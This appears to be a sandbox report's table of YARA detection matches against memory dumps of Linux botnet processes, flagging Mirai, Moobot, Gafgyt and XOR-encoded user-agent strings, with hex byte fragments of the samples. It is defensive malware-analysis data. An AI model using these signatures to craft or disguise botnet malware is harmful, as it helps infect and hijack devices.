7151.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7151.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7356.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7356.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7356.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7356.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7356.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7356.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6739.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6751.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7335.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6930.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7420.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7420.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7420.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7420.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7420.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7420.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6281.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7389.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7389.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7389.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7389.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7389.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7389.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6735.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6735.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6735.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6735.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6735.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6735.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7279.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7279.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7279.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7279.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7279.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 